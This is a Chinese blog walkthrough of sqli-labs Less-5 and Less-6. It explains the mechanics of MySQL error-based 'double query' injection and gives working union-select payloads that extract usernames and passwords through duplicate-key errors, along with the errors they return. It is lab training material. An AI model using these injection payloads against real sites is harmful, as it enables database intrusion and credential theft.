zoukankan      html  css  js  c++  java
  • 【sqli-labs】Less5~Less6

    双注入原理:

    来源:

    http://www.myhack58.com/Article/html/3/7/2016/73471.htm (非常详细的说明了原理,good)

    http://www.2cto.com/article/201303/192718.html(通俗易懂的讲解了使用方法)

    基本句式:

    select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;

    派生表版

    select 1 from (select count(*), concat('~',(select user()),'~', floor(rand()*2))as a from information_schema.tables group by a)x;

    其中select database()可以换成任何希望的查询。

    其中,count(*), floor(rand()*2), group by 缺一不可。

    作用,会将查询结果信息通过key报错的形式显示出来。如:

    原理:

    mysql在遇到select count(*) from table group by x;这语句的时候会建立一个虚拟表,整个工作流程就如下图所示:

    1. 先建立虚拟表,如下图(其中key是主键,不可重复):

    2.开始查询数据,取数据库数据,然后查看虚拟表存在不,不存在则插入新记录,存在则count(*)字段直接加1,如下图:

    由此看到 如果key存在的话就+1, 不存在的话就新建一个key。

    rand()多次计算:

    mysql官方有给过提示,查询的时候如果使用rand()的话,该值会被计算多次,就是在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。报错实际上就是floor(rand(0)*2)被计算多次导致的,具体看看select count(*) from TSafe group by floor(rand(0)*2);的查询过程:

    1.查询前默认会建立空虚拟表如下图:

    2.取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕,如下图:

    3.查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算),查询虚表,发现1的键值存在,所以floor(rand(0)*2)不会被计算第二次,直接count(*)加1,第二条记录查询完毕,结果如下:

    4.查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计算),查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,作为虚表的主键,其值为1(第5次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了。

    5.整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要3条数据,使用该语句才会报错的原因。

     总结:

    floor(rand()*2)是不可测的(未加随机因子rand(0)之类有随机因子的序列是固定的),因此在两条数据的时候,只要出现下面情况,即可报错,如下图:

    最重要的是前面几条记录查询后不能让虚表存在0,1键值,如果存在了,那无论多少条记录,也都没办法报错,因为floor(rand()*2)不会再被计算做为虚表的键值,这也就是为什么不加随机因子有时候会报错,有时候不会报错的原因。

    Less-5: 双注入,单引号

    第五题跟前面的四道完全不同,区别在于前四题会返回数据库的查询结果,而第五题只会输出you are in。没有结果。但是错误信息会显示。

    所以思路就是如何让查询结果从错误信息中显示出来,利用上面讲的双注入方法。

    1.测试数据格式

    http://127.0.0.1/sqli-labs/Less-5/?id='

    结果:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' LIMIT 0,1' at line 1

    说明id被单引号包围,需要闭合单引号。

    2.查询用户名密码

    方法一:套用双注入公式

    http://127.0.0.1/sqli-labs/Less-5/?id=' union select 1, count(*), concat('~',(select concat(username,'/',password) from users limit 0,1),'~', floor(rand(0)*2))as a from information_schema.tables group by a -- a

    结果:Duplicate entry '~Dumb/Dumb~0' for key 'group_key'

    方法二:(不好,繁琐)

    http://127.0.0.1/sqli-labs/Less-5/?id=' union select 1, count(*), concat(z.username,'/',z.password,floor(rand(0)*2)) b from (select x.username,x.password from (select 1 as a, username,password from users limit 0,1)x join (select 1 as a from users)y on x.a=y.a)z group by b -- a

    结果:Duplicate entry 'Dumb/Dumb1' for key 'group_key'

    原理:通过join函数,将第一个用户名和密码重复多次,产生重复数据,使其后在虚表中可以出现key冲突。

    问题:上面一次查询一行数据可以成功报错,但是用group_contact后,将多行数据汇聚到一起则无法报错了。不应该啊,rand(0)*2的序列是固定的,且数据量一定大于3行,为何不报错???

    语句如下:

    http://127.0.0.1/sqli-labs/Less-5/?id=' union select 1, count(*), concat(z.b,'-',floor(rand()*2)) c from (select x.b from (select 1 as a, GROUP_CONCAT(concat(username,'@',password)) as b from users limit 0,1)x join (select 1 as a from users)y on x.a=y.a)z group by c -- a

    Less-6:双注入,双引号

    1.判断语句格式

    http://127.0.0.1/sqli-labs/Less-6/?id="

    输出:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '""" LIMIT 0,1' at line 14

    说明id通过双引号包裹。

    2.查询用户名,密码

    http://127.0.0.1/sqli-labs/Less-5/?id=" union select 1, count(*), concat('~',(select concat(username,'/',password) from users limit 0,1),'~', floor(rand(0)*2))as a from information_schema.tables group by a -- a
  • 相关阅读:
    ChromeDriver下载
    LR基础理论详解
    python中assert详解
    python定义类()中写object和不写的区别
    python list初始化技巧
    python list中append()方法和extend()方法区别
    python生成器(generator)、迭代器(iterator)、可迭代对象(iterable)区别
    使用__slots__节省python内存技巧
    lambda表达式详解
    python处理数据问题详解
  • 原文地址:https://www.cnblogs.com/dplearning/p/7355595.html
Copyright © 2011-2022 走看看